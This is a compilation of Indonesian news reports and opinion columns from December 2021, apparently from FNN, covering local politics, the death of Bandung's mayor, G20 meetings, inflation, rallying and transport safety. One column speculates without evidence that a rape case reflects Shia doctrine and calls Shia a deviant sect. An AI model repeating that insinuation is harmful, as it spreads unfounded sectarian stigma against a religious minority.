Sukomanunggal ini usulan yang juga sangat diharapkan adalah persoalan terkait keberadaan sekolah SMA/SMK. "SMA/SMK memang kewenangan provinsi, jangan lupa warga Surabaya juga warga Jatim karenanya saya berharap wali kota bisa perjuangkan ini ke Gubernur," ujarnya. Ketua LPMK Tutik Hidajati pun berharap agar usulan yang sudah diajukan bisa terealisasi, khususnya terkait kebutuhan gedung sekolah tingkat SMA/SMK Negeri di wilayah Sukomanunggal yang hingga kini belum ada. Camat Sukomanunggal Lakoli mengatakan, siap memperhatikan saran dan pandangan Pimpinan DPRD Surabaya terkait agenda Musbangkel di wilayahnya. "Kehadiran Bu Reni di tengah-tengah kami menjadi bentuk perhatian dan penyemangat kepada para warga di sela kesibukan beliau menyempatkan berada di Musbangkel ini," ujarnya. (sws)

Dilepas Wali Kota Tangsel, Wartawan FNN Lakukan Perjalanan Ke Mekkah Dengan Mengayuh Sepeda

Jakarta, FNN - Wartawan senior FNN (Forum News Network), Tjahja Gunawan Diredja memulai perjalanan ke Mekkah dengan mengayuh sepeda (gowes). Pelepasan dilakukan Wali Kota Tangerang Selatan (Tangsel), Benyamin Davnie, di halaman Masjid Masjid Asy-Syarif Al Azhar Bumi Serpong Damai (BSD), Sabtu pagi, 11 Desember 2021. Sejumlah jamaah yang tergabung dalam Forum Masjid dan Mushola Bumi Serpong Damai (FMMB) ikut hadir dalam acara pelepasan tersebut. Acaranya dirangkai mulaj dari shalat Subuh berjamaah, kemudian ceramah agama yang disampaikan Ustaz Andian Parlindungan. Setelah sarapan pagi, kemudian acara pelepasan. Sejumlah pesepeda, di antaranya Jusman Dalle (wartawan FNN) mengiringi Tjahja Gunawan dari belakang. Djusman dan beberapa pesepeda mengantarkan sampai daerah Pagedangan, Kabupaten Tangerang atau sekitar 10 Km dari acara pelepasan. Sebagian pesepeda menghantarkan sampai Kota Serang. Tidak ketinggalan, Tim Aksi Cepat Tanggap (ACT) juga mengawal dengan beberapa mobil. Perjalanan melalui rute Kota Tangsel melintasi Kabupaten Tangerang, kemudian menuju Kota Serang. Di Ibu Kota Propinsi Banten itu, Tjahja yang biasa dipanggil TG atau Kang Tjahja akan singgah, sebelum melanjutkan perjalanan menuju Pelabuhan Merak. Dari Pelabuhan Merak, TG yang gowes bersama Fuad, dari Kalimantan Timur, naik kapal laut menuju Lampung. Mereka akan mengayuh sepeda di hampir sepanjang Pulau Sumatera, dan kemudian menyeberang ke Singapura. Perjalanan menuju Mekkah diperkirakan memakan waktu sekitar enam bulan, setelah melewati beberapa negara. Keduanya akan sampai di Tanah Suci pada saat saat bulan Haji atau Dhulhijjah tahun 1444 Hijriyah/tahun 2022 depan. Wali Kota Tangsel, Benyamin Davnie dalam sambutannya mendo'akan kedua pesepeda tersebut agar sehat dan selamat sampai tujuan hingga kembali ke tanah air. Ia juga memohon doa dari keduanya supaya Kota Tangsel segera bebas dari Coronaviris Disease 2019 (Covid-19). "Do'a orang musafir (orang yang melakukan perjalanan) cepat diterima Allah," katanya. Pemimpin Redaksi FNN, Mangarahon Dongoran mengatakan, tekad Tjahja Gunawan bersepepeda menuju Tanah Suci luar biasa. Keinginannya itu sudah lama diucapkan di kalangan jajaran FNN. Keseriusan dan tekadnya itu dibuktikan dengan jelajah Jawa Barat menggunakan sepeda. Rute yang dilewati, Kota Tangsel, Bekasi, Karawang, Purwakarta, Subang, Bandung, Cimahi, Cianjur, Puncak dan Bogor. Tidak hanya itu. Karena tekad yang sudah bulat, saat FNN TV berencana mewawancarai sejarawan Universitas Padjadjaran (Unpad), Prof. Mansur Suryanegara, pada September 2021 yang lalu, Tjahja pun mengajukan agenda agar mewawancarai Abah Landung (96), yang bersepeda naik haji di usia 75 tahun. (Hasil wawancara Tjahja dengan Abah Landung bisa ditonton di FNN TV Channel Youtube. "Tjahja adalah wartawan senior FNN. Sebelum bergabung di FNN, dia wartawan yang biasa meliput bidang ekonomi. Kami sempat sama-sama menjadi wartawan Istana Kepresiden," kata Dongoran. Ia produktif menulis buku biografi. Salah satu karyanya adalah, "Chairul Tanjung Si Anak Singkong." Buku tersebut menceritakan kisah sukses konglomerat peringkat kelima orang terkaya di Indonesia versi Forbes itu. Berdasarkan laporan yang dikeluarkan media bisnis dan finansial terkemuka dunia pada awal April 2021, total kekayaan CT, panggilan akrab Chairul Tanjung, sekitar 4,8 miliar dolar Amerika Serikat (AS) atau setara Rp 6,9 triliun. (Muhammad Anwar Ibrahim/FNN).

Tidak Aneh Jika Berpaham Syiah

By M Rizal Fadillah Kasus menggemparkan ada guru ngaji yang memperkosa belasan santriwati yang kini berada dalam proses hukum tentu memprihatinkan. Baru terungkap ada yang hamil hingga melahirkan, bahkan ada yang melahirkan dua kali. Perilaku Herry Wirawan (HW) ini menimbulkan pertanyaan serius, apakah memang itu "perkosaan" atau menjalankan ajaran dengan pemahaman khusus yang membenarkan hubungan intim model seperti ini. Apakah itu praktek nikah mut'ah yang menjadi ciri ritual ajaran sesat Syi'ah ? Patut untuk didalami. Berbagai sebutan bagi lembaga-lembaga pendidikannya sehingga tidak jelas kurikulum pendidikan yang diajarkannya. Lebih jauh kabur pula misi dan visi yang diembannya. Aspek kelembagaan ada sebutan Boarding School, Pesantren, ada pula Rumah Tahfidz. Dalam ajaran syi'ah menyamarkan diri agar sulit terdeteksi taqiyah namanya. Adakah indikasi seperti ini ? Santri yang lebih terlihat "bekerja" ketimbang "belajar" memperkuat indikasi. Kawin kontrak (mut'ah) dianggap ibadah dalam ajaran Syi'ah. Bahkan semakin sering melakukan mut'ah semakin besar pahalanya. Inilah bahayanya paham seperti ini karena santriwati atau peserta didik akan mudah dirayu dengan tipuan yang seolah-olah menjalankan "syari'at". Majelis Ulama Indonesia (MUI) telah memfatwakan haramnya nikah kontrak (mut'ah). Fatwa MUI tanggal 25 Oktober 1997 yang mengharamkan nikah mut'ah ditandatangani oleh Ketua Umum MUI KH Hasan Basri, Sekretaris Drs. HA Nazriadlani dan Ketua Komisi Fatwa Prof KH Ibrahim Hosen, LML. Di samping mengharamkan MUI menegaskan pada butir 3 : "Bahwa mayoritas umat Islam adalah penganut paham Sunni (Ahlus Sunnah wal Jama'ah) yang tidak mengakui dan menolak paham Syi'ah secara umum dan ajarannya tentang nikah mut'ah secara khusus". Terlepas kasus HW yang cukup aneh dan terjadi konon dari seorang guru ngaji, maka masyarakat dan umat Islam harus mewaspadai praktek nikah kontrak (mut'ah) yang terjadi di banyak tempat. Ajaran Syi'ah ini membahayakan dan merusak nilai-nilai moral yang berbasis keagamaan. Menjadi semacam legalisasi dari perzinahan. Dengan korban di bawah umur kasus HW diproses hukum secara tertutup. Publik sebenarnya ingin mengetahui motif dan pemahaman ajaran HW atas kelakuan tercelanya itu. Semata nafsu, sakit, atau memang ia melakukan kawin kontrak (mut'ah) sehingga "memperkosa" dan menghamili santri dianggap sebuah ibadah. Naudzubillahi min dzalik. *) Pemerhati Politik dan Keagamaan

Istana Pabaton

Oleh Ridwan Saidi *) Lithografi istana Pabaton yang lokasinya di Istana Bogor sekarang (litho oleh Portugis). Istana milik kerajaan Sunda ini disebut Pabaton, perbatuan, karena di halaman paling depan terdapat minaret tinggi sekitar 3 meter, kiri. Dan di tengah prasasti yang sangat besar, tinggi lebih dari 3 meter dan lebar 1,5 meter. Istana raja persis di belakang prasasti. Tak diketahui di mana prasasti ini sekarang berada karena seluruh benda dan bangunan dihancurkan pada tahun 1800-an untuk keperluan pembangunan istana Bogor yang sekarang. Pepohonan yang tumbuh, yang tampak dalam litho, disebut Kebon Raja, kemudian Kebon Raya. Istana Pabaton ditinggal kosong pada tahun 1579. Peristiwa ini disebut Baranang Siang, pergi dengan terhormat. Penghuninya pindah ke Astana Anyar, ibukota baru, di Bandung, tempat yang menyegarkan. Bogor, kota angsa, mereka tinggalkan. Kenapa kerajaan Sunda berakhir? Seperti halnya juga kerajaan Majapahit yang bubar pada tahun 1479, karena faktor kemerosotan ekonomi. Prasasti Jayabupati mengisyaratkan adanya tambang emas di kali Citatih Sukabumi, kerajaan Sumedang kemudian juga mengandalkan sumber yang sama. Prabu Jayabupati tidak jelas masalahnya meminta pengunduran diri, pengunduran diri ini menurut prasasti Kebon Kopi II ditolak Juru Pangambet (semacam MPR). Tidak jelas dengan keadaan bisnis lada dan kopi yang pernah dikelola kerajaan Sunda. Kerajaan Sunda, sama dengan Majapahit dan Samudra Pasai berdiri pada XIII M. Sumedang sesudah itu. Awal berdirinya kerajaan dimulai dengan manajemen tambang emas. Baru kemudian dibangun power system. Rata-rata mereka hanya memiliki pengawal raja, tidak pasukan reguler karena costly. Kalau benar keterangan Tom Pires 1512-1516, kerajaan Sunda memelihara ribuan ekor kuda, berarti harus mengupah cukup banyak pekerja. Sedangkan bisnis kuda saat itu dikuasai kesultanan Bima. Pengelolan mungkin benar, tapi perhitungan yang meleset. Baranang Siang ucapan ksatria. Mengakui kegagalan. Ini yang tak dimiliki pembesar-pembesar reformasi. Sudah gagal masih saja go berlagak sukses seraya menjual mimpi. *) Budayawan

Iri pada Mang Oded

Oleh Ady Amar *) Kematian adalah misteri. Seperti juga jodoh. Misteri Ilahi. Cuma Allah yang tahu. Malaikat pencabut nyawa pun diberi perintah mencabut saat menjelang tugas itu diberikan. Dan kematian itu sepertinya selalu identik dengan perilaku selama manusia diberi kesempatan hidup, memanfaatkan kebaikan hidup atau sebaliknya. Maka menjadi pertanda baik jika seseorang dimatikan saat ia ada di majelis ilmu, tengah sujud dalam sholat, atau tengah takbiratul ikhram dan terhuyung dan menyebabkan kematiannya. Itulah akhir kehidupan yang baik (husnul khotimah), yang dirindu para perindu menuju Tuhannya. Mand Oded nama panggilannya. Oded Muhammad Danial, nama panjangnya. Ia menjabat sebagai Walikota Bandung. Siang kemarin ia punya jadwal khutbah Jum'at di Masjid Mujahidin, masjid yang dibangun persyarikatan Muhammadiyah. Ia memang rutin tiap Jum'at khutbah keliling masjid yang ada di kota Bandung dan sekitarnya. Sekali tiap tahun ia jadwalkan di Masjid Mujahidin. Viral video pendek semalam beredar, Husein Abud Attamimi mantan Ketua PC Al-Irsyad Bandung, yang memang punya kedekatan dengan Kang Oded mengirimnya. Husein memang bersahabat dengannya. Bahkan beberapa tahun lalu saat putrinya menikah, Mang Oded lah yang didapuk beri tausiah khutbah nikah. Saat itu Mang Oded masih menjabat sebagai Wakil Walikota Bandung. Wakil dari Ridwan Kamil-- saat ini menjabat sebagai Gubernur Jawa Barat. Di video singkat itu, entah siapa yang merekam, Mang Oded datang dengan mobil dinasnya. Turun dari mobil dan takmir menyambutnya. Lalu digiring ke ruang peristirahatan mubaligh. Tidak lama ia minta masuk ke masjid untuk sholat sunah Tahiyatul Masjid. Ia diapit oleh takmir dan asistennya. Terdengar suara lirihnya "Allahu Akbar", saat takbiratul ikhram, kaki dan tubuhnya tampak terhuyung. Dan saat akan jatuh, kedua orang di kanan kirinya sigap meraihnya. Ambulans sederhana milik masjid disiapkan, dan dilarikan ke RS Muhammadiyah, Bandung. Sampai di IGD tampaknya ia sudah meninggal. Inna Lillahi wa Ina Ilaihi Rojiun. Mang Oded dipanggil-Nya dengan indah. Ia meraih kematian yang indah, yang diidamkan semua insan beriman. Tapi tidak semuanya bisa mendapat sesuai keinginan. Ada yang tampak "diluar" sebagai ahli ibadah, tapi tidak dimatikan menjadi contoh dibicarakan kebaikannya sebagai ibrah. Mang Oded ahli ibadah yang dibicarakan dengan haru saat meninggal, bukan semata karena jabatannya sebagai Walikota, tapi lebih dari itu. Mang Oded bisa disebut Walikota plus. Cakap memimpin kotanya dan sekaligus mubaligh yang perangainya lembut serba terukur. Setidaknya itu yang dikesankan Ridwan Kamil yang tak tahan menyekah matanya, saat mengisahkan kepergian Mang Oded. "Saya bersaksi Mang Oded orang baik...," setidaknya kalimat itu keluar dari mulut Ridwan Kamil memberi kesaksian tentang almarhum. Pribadi Sederhana Mang Oded, saya tidak mengenalnya, tapi banyak mendengar tentangnya. Karena iri dengannya, maka ingin juga mengisahkan sedikit tentangnya. Tentu iri menjadi dibenarkan jika menyangkut pada kebaikan, termasuk pada kematian yang indah. Mang Oded asli Tasikmalaya. Bersaudara tiga belas orang. Ia anak ketiga. Dan yang kelima adalah Shohibul Iman, mantan Presiden PKS. Mang Oded dituakan dalam keluarganya. Perangainya sederhana. Dan terbiasa jika pulang ke Tasikmalaya, bukan karena tugas, ia naik kereta api Bandung-Tasikmalaya. Menjelang stasiun Tasikmalaya, ia menelpon kemenakannya untuk menjemputnya. Berboncengan berdua dengan sepeda motor. Kesederhanaan itu ia tampakkan meski ia orang nomor satu di kota Bandung. Katanya, lebih nyaman ke Tasik dengan kereta api. Sampai di sana ia bermalam di rumah utama keluarganya. Ia memang dituakan saudara-saudaranya. Mang Oded dikaruniai tujuh anak. Istimewanya ketujuh anaknya, laki perempuan, hafizh/ah Qur'an. Apa gak istimewa manusia satu ini... tidak cuma istimewa tapi ia manusia sempurna, yang telah menyiapkan 7 jubah mahkota untuknya di surga kelak, persembahan dari ketujuh anaknya itu. Nikmat benar kehidupan Mang Oded di akhirat kelak. Tanda-tanda manusia surga telah ia dapatkan. Manusia yang berhasil menjadikan dunia ladang menuju kehidupan kekal akhirat. Ada kisah menarik yang dikisahkan ikhwan Al-Irsyad Bandung, yang memang dekat dengan Mang Oded. Saat ia menikahkan anak putrinya dengan laki-laki warga negara asing yang tidak punya keluarga di Indonesia. Menempuh ilmu di Bandung, dan yang tidur di masjid kampus karena tak ada biaya untuk bayar kos, itu menjadi menantunya. Pemuda itu asal Yaman, yang kemudian dikenal sebagai Ustadz Dr. Thyazen Alhakim, M.Si. Saat pernikahan ikhwan Al-Irsyad diminta untuk "mengawalnya". Mang Oded tampak bangga memiliki menantu satu ini. Ustadz Thyazen rutin mengisi Majelis Shubuh Virtual (Kajian Tafsir Sabtuan) di Al-Irsyad Bandung. Ia menjadi bagian dari keluarga besar jum'iyah Al-Irsyad. Mang Oded menyisahkan kenangan kebaikan pada banyak orang, testimoni tentangnya semua akan kebaikannya. Beruntunglah orang yang pernah mengenalnya. Dan, saya yang tidak mengenal kecuali "kisah-kisahnya" yang menawan merasa gelo tidak sempat mengenalnya, tapi setidaknya mendengar dari ikhwan lainnya dan mencoba mengisahkan sekadarnya. Jika ada yang terlewat, mestinya banyak yang terlewat akan kebaikan tak terendus tentangnya, mohon dimaafkan. (*) *) Oded Muhammad Danial

Indonesia Suarakan Tiga Isu Utama dalam Pertemuan Sherpa G20

Jakarta, FNN - Indonesia mengutamakan tiga isu utama pada Pertemuan Sherpa (Sherpa Meeting) G20 yang diadakan di Jakarta pada 7-8 Desember kemarin. Tiga isu besar yang dibawa Indonesia pada Sherpa Meeting perdana ini, dikutip dari siaran resmi Kementerian Komunikasi dan Informatika adalah arsitektur kesehatan global, transformasi ekonomi dan digital, dan transisi energi. Arsitektur kesehatan global menitikberatkan pada penguatan dan penyusunan kembali tata kelola kesehatan global setelah pandemi. Indonesia dapat menjadi penghubung (hub) bagi pengembangan dan penyebaran vaksin. Sementara itu, transformasi ekonomi dan digital menjadi optimalisasi manfaat teknologi digital yang inklusif dengan mendorong digitalisasi di berbagai sektor usaha. Pada transisi energi, diperlukan perluasan akses teknologi menuju pemanfaatan energi bersih dan terjangkau dengan pembiayaan yang berkelanjutan. Pembahasan ketiga topik utama tersebut turut tercermin dalam penyampaian prioritas masing-masing Ketua Working Group G20 yang dipimpin oleh Indonesia, mencakup kesehatan, pembangunan, pendidikan, ketenagakerjaan, ekonomi digital, erdagangan investasi dan industri, pertanian, lingkungan hidup dan perubahan iklim, energi, pemberantasan korupsi, pariwisata, dan pemberdayaan perempuan. Menurut Kominfo, para delegasi pada umumnya menyambut baik prioritas yang disampaikan Indonesia di setiap Working Group. Secara khusus, terdapat harapan bagi peran Indonesia dalam menjembatani pandangan negara maju dan negara berkembang. Pertemuan Pertama Sherpa G20 dibuka Menteri Koordinator Bidang Perekonomian, Airlangga Hartarto, yang menyampaikan G20 harus memajukan agenda yang forward-looking dan action-oriented. Indonesia memiliki beberapa rencana strategis Presidensi G20, termasuk mobilisasi pendanaan kesehatan global, pemberdayaan UMKM melalui digitalisasi, hingga kerja sama teknologi bidang energi. Menteri Luar Negeri, Retno L.P. Marsudi, turut mendorong G20 untuk mencapai hasil konkret di tiga prioritas, yaitu kesehatan, transformasi berbasis digital, dan transisi energi “yang akan membawa manfaat besar bagi masyarakat dunia dan pencapaian SDGs”. "G20 harus bisa down to earth dalam menghasilkan solusi mengatasi tantangan global. G20 juga harus menjadi pendorong untuk pemulihan yang lebih inklusif dan berkelanjutan. Sherpa G20 mempunyai peran utama dalam menghasilkan arahan jelas untuk mengubah tantangan menjadi kesempatan, dan menuntun para pemimpin kita di dalam dunia yang selalu berubah," kata Retno. Sherpa Meeting G20 juga dihadiri Direktur Jenderal WHO Dr. Tedros Adhanom, yang menekankan pentingnya penguatan tata kelola dan skema pendanaan kesehatan global Sherpa Meeting G20 menunjukkan komitmen kuat negara anggota G20 untuk bersama-sama memulihkan dan membangun ekonomi global pascapandemi COVID-19. Pertemuan ini diadakan secara hibrida, 21 delegasi negara anggota dan organisasi internasional hadir langsung di Jakarta, 14 delegasi secara virtual dan tiga delegasi secara hibrida. Pertemuan Pertama Sherpa G20 merupakan pertemuan pertama dari 150 lebih rangkaian pertemuan yang direncanakan berlangsung sepanjang Presidensi G20 Indonesia. Presidensi G20 Indonesia mengambil tema "Recover Together, Recover Stronger", Pulih Bersama, Pulih Lebih Tangguh. Indonesia menyoroti pentingnya upaya konkrit dan holistik untuk mengentaskan ketimpangan, menjembatani kesenjangan, dan meningkatkan produktivitas ekonomi yang berkelanjutan untuk mencapai target Tujuan Pembangunan Berkelanjutan (Sustainable Development Goals/SDGs) pada 2030. (mth)

Oknum Dosen Unsri Terancam Penjara 12 Tahun Atas Kasus Pelecehan

Palembang, FNN - Oknum dosen Fakultas Ekonomi Universitas Sriwijaya (Unsri) berinisial R terancam pidana penjara maksimal selama 12 tahun atas kasus dugaan pelecehan seksual terhadap tiga orang mahasiswinya. Ancaman hukuman tersebut sebagaimana diatur dalam Pasal 9 Juncto Pasal 35 Undang - undang (UU) nomor 44 tahun 2008 tentang Pornografi yang dikenakan penyidik Direktorat Reserse Kriminal Umum Polda Sumsel kepada oknum dosen R berstatus sebagai tersangka itu. Direktur Direktorat Reserse Kriminal Umum Polda Sumsel Komisaris Besar Polisi Hisar Siallagan di Palembang, Jumat, mengatakan pasal tersebut disangkakan terhadap tersangka R sesuai dengan hasil penyidikan yang didukung alat bukti yang cukup. Alat bukti itu berupa tiga unit gawai milik korban dengan kartu telepon, satu unit gawai milik tersangka, termasuk nomor telepon milik korban dan tersangka dan satu eksemplar tangkapan layar pesan singkat percakapan via whatsapp, "Alat bukti sudah cukup. Salah satu bukti utama yaitu nomor telepon yang digunakan tersangka. Itu benar adalah miliknya (tersangka). Diketahui setelah penyidik bekerja sama dengan pihak penyedia jaringan telekomunikasi," kata dia. Menurut Hisar, dari hasil penyidikan dan didukung alat bukti maka diketahui kalau tersangka ini mengirimkan pesan singkat yang mengandung muatan pornografi seperti yang dilaporkan para korban. "Selama penyidikan tersangka tidak mengakui perbuatannya. Tapi penyidik sudah memiliki alat bukti cukup," ujarnya. Dalam pesan singkat tersebut, lanjutnya, berisikan tersangka R mengajak korban untuk melakukan panggilan video seks, menyuruh korban membuka pakaian dalam bagian atas, selanjutnya membayangkan tubuh korban dengan maksud meluapkan nafsunya. Maka dengan begitu, tersangka R langsung dilakukan penahanan di sel tahanan Direktorat Tahanan dan Barang Bukti Polda Sumsel hingga 20 hari ke depan. "Dilakukan penahanan tersangka. Surat penahanannya sudah saya tanda tangani, mulai berlaku hari Jumat pukul 00.00 WIB. Sebelum ditahan tersangka dilakukan pemeriksaan kesehatan sesuai dengan SOP-nya," tandasnya. Adapun tersangka R itu menjalani pemeriksaan secara intensif oleh penyidik Direktorat Reserse Kriminal Umum dari pukul 09.50 WIB sampai 19.00 WIB di markas besar Polda Sumsel dengan didampingi penasihat hukumnya. Dalam kasus tersebut, tersangka R ini dilaporkan oleh tiga orang mahasiswi berinisial F, C dan D karena diduga melakukan pelecehan seksual secara verbal melalui pesan singkat di media sosial terhadap mereka, pada Rabu (1/12). Dimana akibat kasus dugaan pelecehan seksual tersebut Rekrotat Unsri mengambil sikap untuk menonaktifkan oknum dosen R dari jabatannya sebagai Kaprodi Jurusan Managemen Fakultas Ekonomi Unsri kampus Bukit Besar, Palembang. Keputusan penonaktifan tersebut termaktum dalam surat Rektor nomor 452/UN9/SK.BUK.KP/2021 yang diterbitkan pada Selasa (7/12), termasuk dibebas tugaskan sebagai dosen sampai kasus ini selesai. (mth(

Wagub Jabar Nilai Mang Oded Tutup Usia dalam Keadaan Syahid

Bandung, FNN - Wakil Gubernur Jabar Uu Ruzhanul Ulum menuturkan Wali Kota Bandung Oded M. Danial yang berpulang pada usia 59 tahun di Masjid Raya Mujahidin Jalan Sancang Kota Bandung, Jumat, wafat dalam keadaan syahid di hari baik. "Semoga keluarga yang ditinggalkan diberikan kekuatan dan kesabaran. Beliau wafat saat akan memberikan khutbah Jumat di Bandung. Insyallah beliau husnulkhatimah. Meninggal di hari baik, saat melakukan ibadah," kata Pak Uu di Kota Bandung, Jumat. Wagub Jabar Uu mengucapkan belasungkawa atas wafatnya salah satu tokoh Jabar tersebut. Mang Oded meninggal dunia saat hendak naik mimbar sebagai khatib Shalat Jumat sehingga almarhum tutup usia dalam keadaan syahid di hari baik. "Beliau wafat saat akan memberikan khutbah Jumat di Bandung. Insyaallah beliau husnulkhatimah. Meninggal di hari baik, saat melakukan ibadah," ujar dia. Ia mendoakan almarhum agar diterima di sisi-Nya. "Semoga Allah melapangkan kuburnya dan mengampuni dosanya serta memberikan kesabaran dan kekuatan pada keluarga yang ditinggalkan," katanya. Jenazah Mang Oded disemayamkan di Pendopo Wali Kota Bandung Jalan Dalem Kaum Alun-Alun Kota Bandung, rencananya dikebumikan di kampung halamannya di Tasikmalaya. Mang Oded lahir di Kabupaten Tasikmalaya, 15 November 1962, menamatkan SD hingga SMA di Tasikmalaya, kemudian menempuh bangku kuliah di Universitas Pasundan Bandung. Mengawali karier politik dengan menjadi anggota DPRD Kota Bandung dari Fraksi PKS, kemudian terpilih menjadi Wakil Wali Kota Bandung mendampingi Wali Kota Bandung Ridwan Kamil pada masa jabatan 2013-2018. Pada 2018, Mang Oded terpilih menjadi Wali Kota Bandung bersama wakilnya, Yana Mulyana, untuk masa bakti 2018-2023, sedangkan Ridwan Kamil menjadi Gubernur Jabar untuk periode yang sama dan dilantik pada hari yang hampir sama. Mang Oded meninggalkan satu istri, Siti Muntamah Oded yang bertugas sebagai anggota DPRD Jabar serta tujuh anak. (mth)

BI Perkirakan Inflasi 2021 Capai 1,64 Persen

Jakarta, FNN - Survei Pemantauan Harga (SPH) Bank Indonesia (BI) pada pekan kedua Desember 2021 memperkirakan inflasi 2021 akan mencapai 1,64 persen jika dibandingkan dengan tahun sebelumnya (year on year/yoy). Direktur Eksekutif Kepala Departemen Komunikasi BI Erwin Haryono dalam keterangan resminya di Jakarta, Jumat, mengatakan perkembangan harga pada Desember 2021 tetap terkendali dan kemungkinan akan terjadi inflasi sebesar 0,34 persen jika dibandingkan dengan bulan sebelumnya (month to month/mtm). Penyumbang utama inflasi Desember 2021 sampai dengan minggu kedua yaitu komoditas cabai rawit sebesar 0,08 persen (mtm), minyak goreng 0,04 persen, cabai merah 0,03 persen, daging ayam ras 0,02 persen, sawi hijau, sabun detergen bubuk, semen, dan tarif angkutan udara masing-masing sebesar 0,01 persen. Sementara itu, beberapa komoditas mengalami deflasi, antara lain bawang merah dan daging sapi masing-masing sebesar 0,01 persen (mtm). BI akan terus memperkuat koordinasi dengan pemerintah dan otoritas terkait untuk memonitor secara cermat dinamika penyebaran COVID-19 dan dampaknya terhadap perekonomian Indonesia dari waktu ke waktu. Langkah-langkah koordinasi kebijakan lanjutan yang perlu ditempuh akan terus dicermati guna menjaga stabilitas makroekonomi dan sistem keuangan, serta menopang pertumbuhan ekonomi Indonesia tetap baik dan berdaya tahan. Sebelumnya, Kepala Badan Kebijakan Fiskal Kementerian Keuangan Febrio Kacaribu memproyeksikan inflasi 2021 akan sedikit lebih tinggi dari perkiraan BI, yakni mencapai 1,9 persen (yoy), jika melihat perkembangan inflasi November 2021 yang tercatat 1,75 persen (yoy). Dengan demikian, inflasi masih berpotensi menguat secara bertahap seiring dengan perkembangan positif mobilitas masyarakat pascapelonggaran PPKM. “Natal dan Tahun Baru diperkirakan menjadi momen peningkatan konsumsi, sehingga dapat mendorong kenaikan inflasi. Namun, potensi tekanan inflasi lebih tinggi akan relatif minimal seiring dengan penghapusan libur Nataru, serta pengetatan PPKM di seluruh wilayah Indonesia," kata Febrio dalam keterangan resminya di Jakarta, Rabu. (mth)

Sean Gelael Tercepat pada "shakedown" Danau Toba Rally 2021

Jakarta, FNN - Pebalap Sean Gelael menjadi yang tercepat pada "shakedown" atau uji coba lintasan balap Danau Toba Rally 2021 dengan mengambil start di perkebunan PT Toba Pulp Lestari, Aek Naoli, Parapat, Simalungun, Sumatera Utara, Jumat. Berdasarkan catatan waktu yang ada, Sean Gelael yang menggunakan Citroen C3 R5 melakukan dua run saat shakedown tersebut. Pada run pertama, pebalap Team Jagonya Ayam itu belum menunjukkan taji karena hanya mencatat 2 menit 46,9 detik. Kondisi berbeda pada run kedua, pebalap berusia 25 tahun itu melesat cepat bersama co-driver asal Portugal, Hugo Magalhaes Ismael. Sean Gelael membuat catatan waktu 1:43, di mana secara umum unggul atas Nuno Pinto yang juga tergabung dalam Team Jagonya Ayam (1:48,8). Sedangkan sang ayah, Ricardo Gelael berada di peringkat tiga dengan catatan 1:53,3. Bintang Barlean (Subaru) dan Subhan Aksa (Mitsubishi) melengkapi lima besar hasil shakedown dengan masing-masing membuat 1:53,5 dan 1:55,4. "Shakedown ini digelar di Aek Nauli, tempat SS1 di mana lintasannya sebagian besar tanah liat. Walau tercepat tapi saya tak mau anggap enteng persaingan karena dua SS lain berbeda dan lebih berat," kata Sean Gelael. Prediksi persaingan bakal ketat juga disampaikan sang navigator, Hugo Ismael. Menurut dia, karakter SS2 dan SS3 berbeda sehingga memungkinkan pebalap yang lain bisa memaksimalkan kondisi lintasan yang permukaannya kasar karena berbatuan. "SS2 dan SS3 jauh lebih berat dibanding SS1. Permukaannya kasar karena bebatuan. Kami tak boleh membuat sedikit pun kesalahan di lintasan yang jauh lebih berat itu," kata pria Portugal yang berpengalaman ikut World Rally Championship (WRC) ini. Meski demikian, Hugo optimistis mampu memberikan hasil terbaik karena gaya membalap Sean Gelael cukup bagus terutama dalam mengendalikan kendaraan saat kondisi kurang menguntungkan saat balapan. Sementara itu, salah satu rival Sean Gelael dalam Danau Toba Rally, Subhan Aksa mengakui jika lintasan balap Aek Naoli cukup berat meski dirinya sudah pernah merasakan kerasnya lintasan yang tidak jauh dari Danau Toba itu. "Hanya untuk finis saja bakal berat. Saya sebagai juara nasional reli 2019 saya hanya bisa finis keempat saat itu. Persaingan di sini tetap bakal ketat," kata pebalap yang akrab dipanggil Ubang itu. Putaran 1 Kejurnas akan menggelar 6 SS, di daerah Aek Nauli dan Gorbus. Jadwal Putaran 1 Reli Danau Toba, Sabtu, (11/12): -SS1: Aek Nauli A - 9,62 km -SS2: Aek Nauli B - 14,75 km -SS3: Gorbus - 15,36 km -SS4: Aek Nauli A - 9,62 km -SS5: Aek Nauli B - 14,75 km -SS6: Gorbus - 15,36 km (mth)

KNKT Sampaikan Rekomendasi untuk Manajemen TransJakarta

Jakarta, FNN - Komite Nasional Keselamatan Transportasi (KNKT) merekomendasikan PT Transportasi Jakarta (TransJakarta) agar membuat "Driver Resource Management" untuk memperbaiki tata kelola pramudi bus. Ketua KNKT Soerjanto Tjahjono menjelaskan, rekomendasi itu dikeluarkan berdasarkan hasil surveilans dan diskusi dengan pramudi mengenai insiden kecelakaan bus yang terjadi belakangan ini. "Kita memberi rekomendasi kepada TransJakarta namanya 'Driver Resource Management'. Setiap tahun mereka diberi pelatihan untuk men-'challange soft' kompetensi, kemampuan menahan emosi secara bijak," kata Soerjanto Tjahjono di Kantor TransJakarta di Cawang, Jakarta, Jumat. Soerjanto menambahkan, pelatihan serupa sudah sering diterapkan pada manajemen transportasi udara. Namun hal itu belum diterapkan di tubuh TransJakarta. Dia mengatakan, hasil rekomendasi itu nantinya juga akan berpengaruh pada penerapan standar operasional prosedur (SOP) bagi pramudi TransJakarta. "Misalnya, selama mengemudi tidak boleh pegang telrpon mungkin prosedur seperti itu yang diharapkan bisa dilakukan perbaikan di TransJakarta. SOP itu sifatnya dinamis setiap detik bisa berubah tergantung situasi," ujar Soerjanto. Soerjanto mengatakan, berdasarkan hasil diskusi dengan pramudi diketahui bahwa mengantuk saat berkendara menjadi salah satu faktor resiko yang kerap dikeluhkan oleh mereka. "Kita akan mempelajari bagaimana solusi mengurangi kantuk kemudi ini. Mengantuk ini banyak faktor, salah satunya koridor jalan yang sempit. Nanti kita lihat bagaimana jam kerja, bagaimana masalah lain yang berkaitan dengan pengemudi," kata Soerjanto. Soerjanto mengatakan, pihaknya menyambut baik upaya TransJakarta dalam melihat keselamatan berkendara menjadi prioritas utama. "Pengalaman saya begitu operator membuka diri terhadap investigasi setelah itu tingkat keselamatannya membaik. Ini yang diharapkan kita melakukan surveilans untuk menemukan resiko," ujar Soerjanto. (mth)

Keserakahan di Tengah Pandemi (2): Tinjauan Kritis Terhadap Kepemimpinan Otoriter dan Oligarki di Indonesia

